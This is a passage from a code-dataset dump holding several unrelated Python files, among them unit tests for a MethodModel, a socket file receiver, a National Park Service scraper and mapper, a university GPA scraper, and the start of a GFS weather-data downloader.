0x00003000)\n\n        self.SETTLEDPERIOD = RM_Field_AGC_S_SETTLINGINDPER_SETTLEDPERIOD(self)\n        self.zz_fdict['SETTLEDPERIOD'] = self.SETTLEDPERIOD\n        self.DELAYPERIOD = RM_Field_AGC_S_SETTLINGINDPER_DELAYPERIOD(self)\n        self.zz_fdict['DELAYPERIOD'] = self.DELAYPERIOD\n        self.__dict__['zz_frozen'] = True\n\n\n","sub_path":"platform/radio/efr32_multiphy_configurator/host_py_rm_studio_internal/full/efr32xg31/revA0/AGC_S_register.py","file_name":"AGC_S_register.py","file_ext":"py","file_size_in_byte":64672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"616238998","text":"from collections import OrderedDict\nimport unittest\n\nfrom malcolm.core.methodmodel import MethodModel, method_takes, REQUIRED, \\\n    method_returns, method_writeable_in, OPTIONAL, method_also_takes\nfrom malcolm.modules.builtin.vmetas import StringMeta, BooleanMeta\nfrom malcolm.core.mapmeta import MapMeta\n\n\nclass TestMethodMeta(unittest.TestCase):\n\n    def test_init(self):\n        m = MethodModel(\"test_description\")\n        assert \"test_description\" == m.description\n        assert \"malcolm:core/Method:1.0\" == m.typeid\n        assert \"\" == m.label\n\n    def test_set_label(self):\n        m = MethodModel(\"test_description\")\n        m.set_label(\"new_label\")\n        assert \"new_label\" == m.label\n\n    def test_recreate(self):\n        @method_takes(\n            \"arg1\", StringMeta(\"Arg1\"), REQUIRED,\n            \"extra\", StringMeta(), REQUIRED,\n        )\n        def method1():\n            pass\n\n        @method_takes(\n            \"arg8\", StringMeta(\"Arg8\"), REQUIRED,\n            \"arg3\", StringMeta(\"Arg3\"), \"32\",\n            \"arg4\", StringMeta(\"Arg4\"), OPTIONAL,\n        )\n        def method2():\n            pass\n\n        @method_takes(\n            \"arg8\", StringMeta(\"Arg8\"), \"2\",\n            \"arg3\", StringMeta(\"Arg3\"), \"33\",\n        )\n        def method3():\n            pass\n\n        m = MethodModel(\"Test\")\n        m.recreate_from_others([\n            method1.MethodModel, method2.MethodModel, method3.MethodModel],\n            without=[\"extra\"])\n\n        itakes = MapMeta()\n        elements = OrderedDict()\n        elements[\"arg1\"] = StringMeta(\"Arg1\")\n        elements[\"arg8\"] = StringMeta(\"Arg8\")\n        elements[\"arg3\"] = StringMeta(\"Arg3\")\n        elements[\"arg4\"] = StringMeta(\"Arg4\")\n        itakes.set_elements(elements)\n        itakes.set_required([\"arg1\"])\n        defaults = OrderedDict()\n        defaults[\"arg8\"] = \"2\"\n        defaults[\"arg3\"] = \"33\"\n        assert m.takes.to_dict() == itakes.to_dict()\n        assert m.returns.to_dict() == MapMeta().to_dict()\n        assert m.defaults == defaults\n\n\nclass TestDecorators(unittest.TestCase):\n    def test_takes_given_optional(self):\n        @method_takes(\"hello\", StringMeta(), OPTIONAL)\n        def say_hello(params):\n            \"\"\"Say hello\"\"\"\n            print(\"Hello\" + params.name)\n\n        itakes = MapMeta()\n        itakes.set_elements(OrderedDict(hello=StringMeta()))\n        assert say_hello.MethodModel.takes.to_dict() == itakes.to_dict()\n        assert say_hello.MethodModel.returns.to_dict() == MapMeta().to_dict()\n        assert say_hello.MethodModel.defaults == {}\n\n    def test_takes_given_defaults(self):\n        @method_takes(\"hello\", StringMeta(), \"Something\")\n        def say_hello(params):\n            \"\"\"Say hello\"\"\"\n            print(\"Hello\" + params.name)\n\n        itakes = MapMeta()\n        itakes.set_elements(OrderedDict(hello=StringMeta()))\n        assert say_hello.MethodModel.takes.to_dict() == itakes.to_dict()\n        assert say_hello.MethodModel.returns.to_dict() == MapMeta().to_dict()\n        assert say_hello.MethodModel.defaults == {\"hello\": \"Something\"}\n\n    def test_takes_given_required(self):\n        @method_takes(\"hello\", StringMeta(), REQUIRED)\n        def say_hello(params):\n            \"\"\"Say hello\"\"\"\n            print(\"Hello\" + params.name)\n\n        itakes = MapMeta()\n        itakes.set_elements(OrderedDict(hello=StringMeta()))\n        itakes.set_required([\"hello\"])\n        assert say_hello.MethodModel.takes.to_dict() == itakes.to_dict()\n        assert say_hello.MethodModel.returns.to_dict() == MapMeta().to_dict()\n        assert say_hello.MethodModel.defaults == {}\n\n    def test_returns_given_valid_sets(self):\n        @method_returns(\"hello\", StringMeta(), REQUIRED)\n        def say_hello(ret):\n            \"\"\"Say hello\"\"\"\n            ret.hello = \"Hello\"\n            return ret\n\n        ireturns = MapMeta()\n        ireturns.set_elements(OrderedDict(hello=StringMeta()))\n        ireturns.set_required([\"hello\"])\n        assert say_hello.MethodModel.takes.to_dict() == MapMeta().to_dict()\n        assert say_hello.MethodModel.returns.to_dict() == ireturns.to_dict()\n        assert say_hello.MethodModel.defaults == {}\n\n    def test_returns_not_given_req_or_opt_raises(self):\n        with self.assertRaises(AssertionError):\n            @method_returns(\"hello\", StringMeta(), \"A default\")\n            def say_hello(ret):\n                \"\"\"Say hello\"\"\"\n                ret.hello = \"Hello\"\n                return ret\n\n    def test_only_in(self):\n        @method_writeable_in(\"boo\", \"boo2\")\n        def f():\n            pass\n\n        assert hasattr(f, \"MethodModel\")\n        assert f.MethodModel.writeable_in == (\"boo\", \"boo2\")\n\n    def test_method_also_takes(self):\n        @method_takes(\n            \"hello\", StringMeta(), REQUIRED,\n            \"hello2\", BooleanMeta(), False)\n        class Thing(object):\n            def __init__(self):\n                pass\n\n        @method_also_takes(\n            \"world\", BooleanMeta(), REQUIRED,\n            \"hello2\", BooleanMeta(), True,\n            \"default\", StringMeta(), \"nothing\")\n        class Thing2(Thing):\n            pass\n\n        # Check original hasn't been modified\n        itakes = MapMeta()\n        elements = OrderedDict()\n        elements[\"hello\"] = StringMeta()\n        elements[\"hello2\"] = BooleanMeta()\n        itakes.set_elements(elements)\n        itakes.set_required([\"hello\"])\n        defaults = OrderedDict()\n        defaults[\"hello2\"] = False\n        assert Thing.MethodModel.takes.to_dict() == itakes.to_dict()\n        assert Thing.MethodModel.returns.to_dict() == MapMeta().to_dict()\n        assert Thing.MethodModel.defaults == defaults\n\n        # Check new one overrides/improves on original\n        itakes = MapMeta()\n        elements = OrderedDict()\n        elements[\"hello\"] = StringMeta()\n        elements[\"hello2\"] = BooleanMeta()\n        elements[\"world\"] = BooleanMeta()\n        elements[\"default\"] = StringMeta()\n        itakes.set_elements(elements)\n        itakes.set_required([\"hello\", \"world\"])\n        defaults = OrderedDict()\n        defaults[\"hello2\"] = True\n        defaults[\"default\"] = \"nothing\"\n        assert Thing2.MethodModel.takes.to_dict() == itakes.to_dict()\n        assert Thing2.MethodModel.returns.to_dict() == MapMeta().to_dict()\n        assert Thing2.MethodModel.defaults == defaults\n\n\nclass TestSerialization(unittest.TestCase):\n\n    def setUp(self):\n        self.serialized = OrderedDict()\n        self.serialized[\"typeid\"] = \"malcolm:core/Method:1.0\"\n        self.takes = MapMeta()\n        self.takes.set_elements({\"in_attr\": StringMeta(\"desc\")})\n        self.serialized[\"takes\"] = self.takes.to_dict()\n        self.serialized[\"defaults\"] = OrderedDict({\"in_attr\": \"default\"})\n        self.serialized[\"description\"] = \"test_description\"\n        self.serialized[\"tags\"] = ()\n        self.serialized[\"writeable\"] = True\n        self.serialized[\"label\"] = \"\"\n        self.serialized[\"returns\"] = MapMeta().to_dict()\n\n    def test_to_dict(self):\n        m = MethodModel(\"test_description\")\n        m.set_takes(self.takes)\n        m.set_defaults(self.serialized[\"defaults\"])\n        assert m.to_dict() == self.serialized\n\n    def test_from_dict(self):\n        m = MethodModel.from_dict(self.serialized)\n        assert m.takes.to_dict() == self.takes.to_dict()\n        assert m.defaults == self.serialized[\"defaults\"]\n        assert m.tags == ()\n        assert m.writeable == True\n        assert m.label == \"\"\n        assert m.returns.to_dict() == MapMeta().to_dict()\n","sub_path":"tests/test_core/test_methodmodel.py","file_name":"test_methodmodel.py","file_ext":"py","file_size_in_byte":7487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"239991721","text":"import socket\nimport os\nimport re\n\ndef filename(s):\n    base_name = s[:s.index('#')]\n    ind = base_name.index(\".\")\n    name, extension = base_name[:ind], base_name[ind + 1:]\n\n    pattern = f\"{name}(_copy(\\d+))?\\.{extension}\"\n    maxi = -1\n    for x in os.listdir(\"output\"):\n        q = re.search(pattern, x)\n        if q is None:\n            continue\n        if q[2] is None:\n            maxi = max(maxi, 0)\n        else:\n            maxi = max(maxi, int(q[2]))\n\n    if maxi == -1:\n        return base_name\n    else:\n        return f\"{name}_copy{maxi + 1}.{extension}\"\n\n\ndef recieve():\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n    s.bind(('127.0.0.1', 8800))\n    s.listen(1)\n\n    while True:\n        print(\"Server is started\")\n        connection, address = s.accept()\n\n        print(\"Client connected ip:\"+ str(address))\n\n        while True:\n            data = connection.recv(32)\n\n            if data != b'':  \n                data = connection.recv(32)\n                file_name = filename(data.decode('utf-8'))\n                output = open(\"/\" + file_name, \"wb\")\n\n                while data != b'':\n                    data = connection.recv(32)\n                    output.write(data)\n                output.close()\n                break\n        \n    s.close()\n\n\nrecieve()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"253860895","text":"## Developed by Gui Ruggiero\n\nfrom secrets import google_places_key, MAPBOX_TOKEN\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nimport plotly\nimport plotly.graph_objs as go\nfrom statistics import mean\n\n# Caching file/dictionary\nCACHE_FNAME = \"cache.json\"\ntry:\n    cache_file = open(CACHE_FNAME, \"r\")\n    cache_contents = cache_file.read()\n    CACHE_DICTION = json.loads(cache_contents)\n    cache_file.close()\nexcept:\n    CACHE_DICTION = {}\n\n# Using cache function\ndef external_data_using_cache(mode, url):\n    unique_ident = url\n\n    if unique_ident in CACHE_DICTION:\n        #print(\"Getting cached data...\")\n        return CACHE_DICTION[unique_ident]\n    \n    else:\n        #print(\"Making a request for new data...\")\n\n        if mode == \"scrape\":\n            resp = requests.get(url)\n            CACHE_DICTION[unique_ident] = resp.text\n        elif mode == \"api\":\n            resp = requests.get(url + \"&key=\" + google_places_key)\n            CACHE_DICTION[unique_ident] = json.loads(resp.text)\n        else:\n            print(\"Mode not recognized, try again.\")\n        \n        dumped_json_cache = json.dumps(CACHE_DICTION)\n        fw = open(CACHE_FNAME, \"w\")\n        fw.write(dumped_json_cache)\n        fw.close()\n\n        return CACHE_DICTION[unique_ident]\n\nclass NationalSite():\n    def __init__(self, type_park, name, desc = None, url = None, street = None, city = None, state = None, zipcode = None):\n        self.type = type_park\n        self.name = name\n        self.description = desc\n        self.url = url\n        self.address_street = street\n        self.address_city = city\n        self.address_state = state\n        self.address_zip = str(zipcode)\n\n    def __str__(self):\n        return self.name + \" (\" + self.type + \"): \" + self.address_street + \", \" + self.address_city + \", \" + self.address_state + \" \" + self.address_zip\n\nclass NearbyPlace():\n    def __init__(self, name, lat = 0, lgn = 0):\n        self.name = name\n        self.lat = lat\n        self.lgn = lgn\n\n    def __str__(self):\n        return self.name\n\ndef get_sites_for_state(state_abbr):\n    parks = []\n    \n    url = \"https://www.nps.gov/state/\" + state_abbr + \"/index.htm\"\n    #print(url)\n    state_text = external_data_using_cache(\"scrape\", url)\n    #print(state_text)\n    state_soup = BeautifulSoup(state_text, \"html.parser\")\n    #print(state_soup)\n    parks_ul = state_soup.find(id = \"list_parks\").find_all(class_ = \"clearfix\")\n    #print(parks_ul)\n\n    for li in parks_ul:\n        try:\n            type_park = li.find(\"h2\").text.strip()\n            #print(type_park)\n        except:\n            type_park = \"no park type\"\n        name = li.find(\"h3\").find(\"a\").text\n        #print(name)\n        url_middle = li.find(\"h3\").find(\"a\")[\"href\"]\n        url = \"https://www.nps.gov\" + url_middle + \"index.htm\"\n        #print(url)\n        url_info = \"https://www.nps.gov\" + url_middle + \"planyourvisit/basicinfo.htm\"\n        #print(url_info)\n        description = li.find(\"p\").text.strip()\n        #print(description)\n\n        park_info_text = external_data_using_cache(\"scrape\", url_info)\n        #print(park_info_text)\n        park_info_soup = BeautifulSoup(park_info_text, \"html.parser\")\n        #print(park_info_soup)\n        try:\n            street = park_info_soup.find(itemprop = \"streetAddress\").text.strip()\n            #print(street)\n        except:\n            street = \"no street address\"\n        city = park_info_soup.find(itemprop = \"addressLocality\").text.strip()\n        #print(city)\n        state = park_info_soup.find(itemprop = \"addressRegion\").text.strip()\n        #print(state)\n        zipcode = park_info_soup.find(itemprop = \"postalCode\").text.strip()\n        #print(zipcode)\n        #print(len(zipcode))\n\n        park = NationalSite(type_park, name, description, url, street, city, state, zipcode)\n        #print(park)\n        parks.append(park)\n    \n    return parks\n\ndef get_nearby_places_for_site(national_site):\n    places = []\n\n    place_coordinates = get_place_coordinates(national_site)\n    #print(place_coordinates)\n    if place_coordinates == None:\n        return []\n    else:\n        url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=\" + place_coordinates + \"&radius=10000\"\n        #print(url)\n\n        nearby_places = external_data_using_cache(\"api\", url)\n        #print(nearby_places)\n        nearby_places_results = nearby_places[\"results\"]\n        #print(nearby_places_results)\n        for result in nearby_places_results:\n            place_name = result[\"name\"]\n            #print(place_name)\n            place_lat = result[\"geometry\"][\"location\"][\"lat\"]\n            #print(place_lat)\n            place_lgn = result[\"geometry\"][\"location\"][\"lng\"]\n            #print(place_lgn)\n            place = NearbyPlace(place_name, place_lat, place_lgn)\n            #print(place)\n            places.append(place)\n        \n        return places\n\ndef get_place_coordinates(national_site):\n\n    site_name = national_site.name\n    #print(site_name)\n    site_type = national_site.type\n    #print(site_type)\n\n    url = \"https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=\" + site_name + site_type + \"&inputtype=textquery&fields=name,formatted_address,geometry\"\n    #print(url)\n\n    place_search = external_data_using_cache(\"api\", url)\n    #print(place_search)\n    #print(place_search[\"candidates\"][0][\"name\"])\n    #print(place_search[\"candidates\"][0][\"formatted_address\"])\n    try: # another option: if \"status\" != OK\n        place_lat = place_search[\"candidates\"][0][\"geometry\"][\"location\"][\"lat\"]\n        #print(place_lat)\n        place_lng = place_search[\"candidates\"][0][\"geometry\"][\"location\"][\"lng\"]\n        #print(place_lng)\n    except:\n        return None\n    \n    # Another option to check if Google Places does not return any results\n    #if place_search[\"status\"] != \"OK\":\n    #    return None\n\n    return str(place_lat) + \",\" + str(place_lng)\n\ndef plot_sites_for_state(state_abbr):\n    lat_vals = []\n    lgn_vals = []\n    text_vals = []\n    \n    sites = get_sites_for_state(state_abbr)\n    #print(sites)\n\n    for site in sites:\n        #print(site)\n        site_coordinates = get_place_coordinates(site)\n        #print(site_coordinates)\n        if site_coordinates == None:\n            #print(site.name)\n            pass\n        else:\n            comma = site_coordinates.find(\",\")\n            #print(comma)\n            lat = float(site_coordinates[:comma])\n            #print(lat)\n            lgn = float(site_coordinates[comma+1:])\n            #print(lgn)\n            lat_vals.append(lat)\n            lgn_vals.append(lgn)\n            text_vals.append(\"<br>\" + site.name)\n\n    #if len(lat_vals) == len(lgn_vals) and len(lat_vals) == len(text_vals):\n    #    print(len(lat_vals))\n    #else:\n    #    print(len(lat_vals))\n    #    print(len(lgn_vals))\n    #    print(len(text_vals))\n\n    # Map data\n    fig = go.Figure(data = go.Scattermapbox(\n        lat = lat_vals,\n        lon = lgn_vals,\n        text = text_vals,\n        mode = \"markers\",\n        marker_color = \"blue\",\n        marker_size = 15,\n        )\n    )\n\n    # Map style\n    layout = dict(\n        title = \"National sites in \" + state_abbr.upper(),\n        autosize = True,\n        hovermode = \"closest\",\n        mapbox = dict(\n            accesstoken = MAPBOX_TOKEN,\n            center = dict(\n                lat = mean(lat_vals),\n                lon = mean(lgn_vals)\n            ),\n            zoom = 5.5,\n        )\n    )\n\n    # Map creation and showing\n    fig.update_layout(layout)\n    fig.write_html(\"state_sites.html\", auto_open = True)\n    print(\"\\nMap 'state_sites.html' created successfully! Open your browser to view it.\\n\")\n\ndef plot_nearby_for_site(site_object):\n    lat_vals = []\n    lgn_vals = []\n    text_vals = []\n    \n    nearby_places = get_nearby_places_for_site(site_object)\n    #print(len(nearby_places))\n    #print(nearby_places)\n\n    if nearby_places == []:\n        print(\"\\nThe map was not created, the coordinates of the national site were not found.\\n\")\n        return\n    else:\n        for place in nearby_places:\n            if place.lat == 0:\n                #print(place.name)\n                pass\n            else:\n                #print(place.lat)\n                lat_vals.append(place.lat)\n                #print(place.lgn)\n                lgn_vals.append(place.lgn)\n                #print(place.name)\n                text_vals.append(\"<br>\" + place.name)\n        \n        #if len(lat_vals) == len(lgn_vals) and len(lat_vals) == len(text_vals):\n        #   print(len(lat_vals))\n        #else:\n        #   print(len(lat_vals))\n        #   print(len(lgn_vals))\n        #   print(len(text_vals))\n        \n        # Map data\n        fig = go.Figure(data = go.Scattermapbox(\n            lat = lat_vals,\n            lon = lgn_vals,\n            text = text_vals,\n            mode = \"markers\",\n            marker_color = [\"blue\", \"black\"],\n            marker_size = 15,\n            )\n        )\n\n        # Map style\n        layout = dict(\n            title = \"Places near \" + site_object.name,\n            autosize = True,\n            hovermode = \"closest\",\n            mapbox = dict(\n                accesstoken = MAPBOX_TOKEN,\n                center = dict(\n                    lat = mean(lat_vals),\n                    lon = mean(lgn_vals)\n                ),\n                zoom = 11,\n            )\n        )\n\n        # Map creation and showing\n        fig.update_layout(layout)\n        fig.write_html(\"nearby_site.html\", auto_open = True)\n        print(\"\\nMap 'nearby_site.html' created successfully! Open your browser to view it.\\n\")\n\ndef user_interaction():\n    command = input(\"\\nCiao! Enter a command or 'help' for options: \").strip()\n\n    while command != \"exit\":\n        if command == \"help\":\n            print(\"\\nHere is a list of commands you can use:\\n\")\n            print(\"   list <state_abbr>\")\n            print(\"       available anytime\")\n            print(\"       lists all National Sites in a state\")\n            print(\"       valid inputs: a two-letter state abbreviation\")\n            print(\"   nearby <result_number>\")\n            print(\"       available only if there is an active site list\")\n            print(\"       list all Places nearby a given result\")\n            print(\"       valid inputs: an integer 1-len(result_set_size)\")\n            print(\"   map <option>\")\n            print(\"       available only if there is an active site or nearby result list\")\n            print(\"       displays the current results on a map\")\n            print(\"   exit\")\n            print(\"       exits the program\")\n            print(\"   help\")\n            print(\"       lists all available commands (these instructions)\\n\")\n        \n        elif command[:4] == \"list\":\n            state = command[-2:]\n            print(\"\\nNational Sites in \" + state.upper() + \"\\n\")\n            sites = get_sites_for_state(state)\n            i = 1\n            for site in sites:\n                print(i, site)\n                i = i + 1\n            print(\"\\nNow you can type:\")\n            print(\"   - 'nearby <result_number>' to view places near one of the sites above\")\n            print(\"   - 'map sites' to view the site list above on a map\")\n            print(\"   - 'list <state>' to do a search for another state\\n\")\n        \n        elif command[:6] == \"nearby\":\n            try:\n                chosen_site = int(command[7:])-1\n                print(\"\\nPlaces near \" + sites[chosen_site].name + \"\\n\")\n                places = get_nearby_places_for_site(sites[chosen_site])\n                i = 1\n                for place in places:\n                    print(i, place)\n                    i = i + 1\n                print(\"\\nNow you can type:\")\n                print(\"   - 'map nearby' to view the nearby list above on a map\")\n                print(\"   - 'nearby <result_number>' to view places near another site\")\n                print(\"   - 'map sites' to view the last site list on a map\")\n                print(\"   - 'list <state>' to do a search for another state\\n\")\n            except:\n                print(\"\\n*** You need a site list first. Try typing 'list <state>'.\\n\")\n        \n        elif command[:3] == \"map\":\n            if command[4:] == \"sites\":\n                try:\n                    plot_sites_for_state(state)\n                except:\n                    print(\"\\n*** You need a site list first. Try typing 'list <state>'.\\n\")\n            elif command[4:] == \"nearby\":\n                try:\n                    plot_nearby_for_site(sites[chosen_site])\n                except:\n                    print(\"\\n*** You need a nearby list first. Try typing 'nearby <result_number>' (if you already have a site list).\\n\")\n            else:\n                print(\"\\n*** Sorry, I did not understand your command. Please try again.\\n\")\n        \n        else:\n            print(\"\\n*** Sorry, I did not understand your command. Please try again.\\n\")\n            \n        command = input(\"Enter a command or 'help' for options: \").strip()\n\n    print(\"\\nThanks for using this program. Arrivederci! :-)\\n\")\n\n# Testing part 1\n#print(len(get_sites_for_state(\"mi\")))\n#print(len(get_sites_for_state(\"az\")))\n\n# Testing part 2\n#for i in get_nearby_places_for_site(NationalSite(\"National Monument\", \"Sunset Crater Volcano\", \"A volcano in a crater.\")):\n#    print(i)\n#for i in get_nearby_places_for_site(NationalSite(\"National Park\", \"Yellowstone\", \"There is a big geyser there.\")):\n#    print(i)\n\n# Testing part 3\n#plot_sites_for_state(\"mi\")\n#plot_sites_for_state(\"az\")\n#plot_nearby_for_site(NationalSite(\"National Monument\", \"Sunset Crater Volcano\", \"A volcano in a crater.\"))\n#plot_nearby_for_site(NationalSite(\"National Park\", \"Yellowstone\", \"There is a big geyser there.\"))\n\n# Part 4\nif __name__ == '__main__':\n    user_interaction()","sub_path":"project2/proj2_nps-edited.py","file_name":"proj2_nps-edited.py","file_ext":"py","file_size_in_byte":13798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"146795724","text":"# -*- encoding: utf8 -*-\n# author: Shindo <0w0@loli.lu>\n\nimport tornado.web\n\nimport urllib\nimport urllib2\nimport cookielib\n\nimport json\n\nfrom bs4 import BeautifulSoup\n\nclass GPA_IndexHandler(tornado.web.RequestHandler):\n\tdef get(self):\n\t\tself.render(\"gpa_html/index.html\")\n\nclass GPA_ReqHandler(tornado.web.RequestHandler):\n\tdef get(self):\n\t\tself.write(\"Access denied.\")\n\n\tdef post(self):\n\t\tself.set_header(\"Content-Type\", \"text/plain\")\n\n\t\tstuid = str(self.get_argument('stuid'))\n\t\tpasswd = str(self.get_argument('passwd'))\n\t\tvcode = str(self.get_argument('vcode'))\n\n\t\tcookie = cookielib.CookieJar()\n\t\topener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))\n\t\turllib2.install_opener(opener)\n\n\t\tparam = { \"stuid\": stuid, \"pwd\": passwd }\n\t\tpostdata = urllib.urlencode(param)\n\n\t\turl_login = \"http://222.194.15.1:7777/pls/wwwbks/bks_login2.login?jym2005=\" + vcode;\n\t\t\n\t\ttry:\n\t\t\tresp = urllib2.urlopen(url_login, postdata)\n\t\t\thtml = unicode(resp.read(), \"gbk\")\n\t\t\t\n\t\t\tif (html.find(u\"成功\") == -1):\n\t\t\t\tsoup = BeautifulSoup(html)\n\t\t\t\tself.write(soup.get_text())\n\t\t\telse:\n\t\t\t\tsoup = BeautifulSoup(html)\n\t\t\t\tgrade_dict = {\n\t\t\t\t\t\"user_info\": soup.find(\"font\").get_text(),\n\t\t\t\t\t\"cur_grade\": [],\n\t\t\t\t\t\"must_grade\": [],\n\t\t\t\t\t\"limit_grade\": [],\n\t\t\t\t\t\"custom_grade\": []\n\t\t\t\t}\n\n\t\t\t\t#本学期成绩\n\t\t\t\tresp = urllib2.urlopen(\"http://222.194.15.1:7777/pls/wwwbks/bkscjcx.curscopre\")\n\t\t\t\thtml = unicode(resp.read(), \"gbk\")\n\t\t\t\tsoup = BeautifulSoup(html)\n\n\t\t\t\ttable = soup.find_all(\"table\")[4].find_all(\"tr\")\n\n\t\t\t\tfor i in range(1, len(table)):\n\t\t\t\t\tdetail = table[i].find_all(\"td\")\n\t\t\t\t\tclass_id = detail[1].get_text()\n\t\t\t\t\tclass_name = detail[2].get_text()\n\t\t\t\t\tclass_credit = detail[4].get_text()\n\t\t\t\t\tclass_mark = detail[10].get_text()\n\t\t\t\t\tif len(class_mark) == 0:\n\t\t\t\t\t\tclass_mark = \"-1\"\n\n\t\t\t\t\tcur_grade_info = {\n\t\t\t\t\t\t\"class_id\": class_id,\n\t\t\t\t\t\t\"class_name\": class_name,\n\t\t\t\t\t\t\"class_credit\": class_credit,\n\t\t\t\t\t\t\"class_mark\": class_mark\n\t\t\t\t\t}\n\n\t\t\t\t\tgrade_dict[\"cur_grade\"].append(cur_grade_info)\n\n\t\t\t\t#已修课程\n\t\t\t\tresp = urllib2.urlopen(\"http://222.194.15.1:7777/pls/wwwbks/bkscjcx.yxkc\")\n\t\t\t\thtml = unicode(resp.read(), \"gbk\")\n\t\t\t\tsoup = BeautifulSoup(html)\n\n\t\t\t\ttable = soup.find_all(\"table\")[4].find_all(\"tr\")\n\t\t\t\tfor i in range(1, len(table)):\n\t\t\t\t\tdetail = table[i].find_all(\"td\")\n\t\t\t\t\tclass_id = detail[0].get_text()\n\t\t\t\t\tclass_name = detail[1].get_text()\n\t\t\t\t\tclass_credit = detail[3].get_text()\n\t\t\t\t\tclass_mark = detail[9].get_text()\n\t\t\t\t\tif len(class_mark) == 0:\n\t\t\t\t\t\tclass_mark = \"-1\"\n\n\t\t\t\t\tmust_grade_info = {\n\t\t\t\t\t\t\"class_id\": class_id,\n\t\t\t\t\t\t\"class_name\": class_name,\n\t\t\t\t\t\t\"class_credit\": class_credit,\n\t\t\t\t\t\t\"class_mark\": class_mark\n\t\t\t\t\t}\n\n\t\t\t\t\tgrade_dict[\"must_grade\"].append(must_grade_info)\n\n\t\t\t\ttable = soup.find_all(\"table\")[7].find_all(\"tr\")\n\t\t\t\tfor i in range(1, len(table)):\n\t\t\t\t\tdetail = table[i].find_all(\"td\")\n\t\t\t\t\tclass_id = detail[0].get_text()\n\t\t\t\t\tclass_name = detail[1].get_text()\n\t\t\t\t\tclass_credit = detail[3].get_text()\n\t\t\t\t\tclass_mark = detail[9].get_text()\n\t\t\t\t\tif len(class_mark) == 0:\n\t\t\t\t\t\tclass_mark = \"-1\"\n\n\t\t\t\t\tlimit_grade_info = {\n\t\t\t\t\t\t\"class_id\": class_id,\n\t\t\t\t\t\t\"class_name\": class_name,\n\t\t\t\t\t\t\"class_credit\": class_credit,\n\t\t\t\t\t\t\"class_mark\": class_mark\n\t\t\t\t\t}\n\n\t\t\t\t\tgrade_dict[\"limit_grade\"].append(limit_grade_info)\n\n\t\t\t\ttable = soup.find_all(\"table\")[10].find_all(\"tr\")\n\t\t\t\tfor i in range(1, len(table)):\n\t\t\t\t\tdetail = table[i].find_all(\"td\")\n\t\t\t\t\tclass_id = detail[0].get_text()\n\t\t\t\t\tclass_name = detail[1].get_text()\n\t\t\t\t\tclass_credit = detail[3].get_text()\n\t\t\t\t\tclass_mark = detail[9].get_text()\n\t\t\t\t\tif len(class_mark) == 0:\n\t\t\t\t\t\tclass_mark = \"-1\"\n\n\t\t\t\t\tcustom_grade_info = {\n\t\t\t\t\t\t\"class_id\": class_id,\n\t\t\t\t\t\t\"class_name\": class_name,\n\t\t\t\t\t\t\"class_credit\": class_credit,\n\t\t\t\t\t\t\"class_mark\": class_mark\n\t\t\t\t\t}\n\n\t\t\t\t\tgrade_dict[\"custom_grade\"].append(custom_grade_info)\n\n\t\t\t\toutput_json = json.dumps(grade_dict)\n\t\t\t\tself.write(\"0\" + output_json)\n\t\texcept: \n\t\t\tself.write(\"获取成绩失败，请重试或直接登录选课系统。\")","sub_path":"python/sinaapp/shindo.sinaapp.com/hitwh_gpa.py","file_name":"hitwh_gpa.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"502715039","text":"#-*- coding: utf-8 -*-\n'''\nCreated on 25 mars. 2014\n\nToolbox for downloading GFS meteoData \ndepending to the variable GFS needed, a shapefile or an extend for the area, \nthe period needed and an optional outputFile for downloaded raster  \n\n@author: yoann Moreau\n'''\n\nimport sys\nimport getopt\nimport os\n#from netCDF4 import Dataset\nimport gdal\nimport osr\nimport numpy\n\nimport utils as utils\n\ndef main(argv):\n\n    try:\n        opts,argv = getopt.getopt(argv,\":h:i:e:s:o:c:E:t:p:g:P:m:l:\",['help','[outFile]','code','[shapeFile]','start','end','[tr]'])\n    except getopt.GetoptError:\n        print('error in parameter for GFSDownload. type GFSDownload.py -help for more detail on use ')\n        sys.exit(2)\n    \n    for opt, arg in opts:\n        if opt == '-h':\n            print('GFSDownload.py  ')\n            print('    [mandatory] : ', end=' ')\n            print('        --code <GFSCode>')\n            print('        --init <dateStart YYYY-MM-DD>')\n            print('        --end <dateEnd YYYY-MM-DD>')\n            print('        --shapefile <shapefile> OU -Extend < xmin,ymax,xmax,ymin>')\n            print('    [optional] :')\n            print('        --level <GFS Level> (default surface)')\n            print('        --step <GFS Step> (default 3,6,9,12)')\n            print('        --grid <GFS Grid> (default 0.75)')\n            print('        --outfile <outfolder> (default /home/user/GFS)')\n            print('        --proxy <proxy : True/False> (default False)')\n            print('        --mode <mode : analyse/forcast/cycleforecast> (default analyse)')\n            print('')\n            print('EXAMPLES')\n            print('--temperature on a shapefile')\n            print('python GFSDownload.py -c PRES -i 2014-01-01 -e 2014-01-02 -s PATH_TO_SHAPE')\n            print('--pressure on a area')\n            print('python GFSDownload.py -c 134 -i 2014-01-01 -e 2014-01-02 -E xmin,ymax,xmax,ymin')\n            print('')\n            print(' CODE PARAMETERS')\n            print('total precipitation  :  APCP [m of water]')\n            print('2 metre temperature  :  TMP [K]')\n            print('maximum 2m temperature since last post-processing step : TMAX [K]')\n            print('minimum 2m temperature since last post-processing step : TMIN [K]')\n            print('surface pressure : PRES [Pa]')\n            print('2 metre dewpoint : DPT [K]')\n            print('10 metre eastward wind component UGRD [m s-1]')\n            print('10 metre northward wind component VGRD [m s-1]')\n            print('...')\n            print('')\n            print(' LEVEL PARAMETERS')\n            print('2_m_above_ground')\n            print('10_m_above_ground')\n            print('3000-0_m_above_ground')\n            print('300_mb')\n            print('...')\n            print('see http://www.nco.ncep.noaa.gov/pmb/products/gfs/ for product description')\n            sys.exit() \n        elif opt in ('-o','--outFolder'):\n            oFolder = arg\n        elif opt in ('-c','--code'):\n            codeGFS = arg.split(',')\n        elif opt in ('-i','--start'):\n            startDate = arg\n        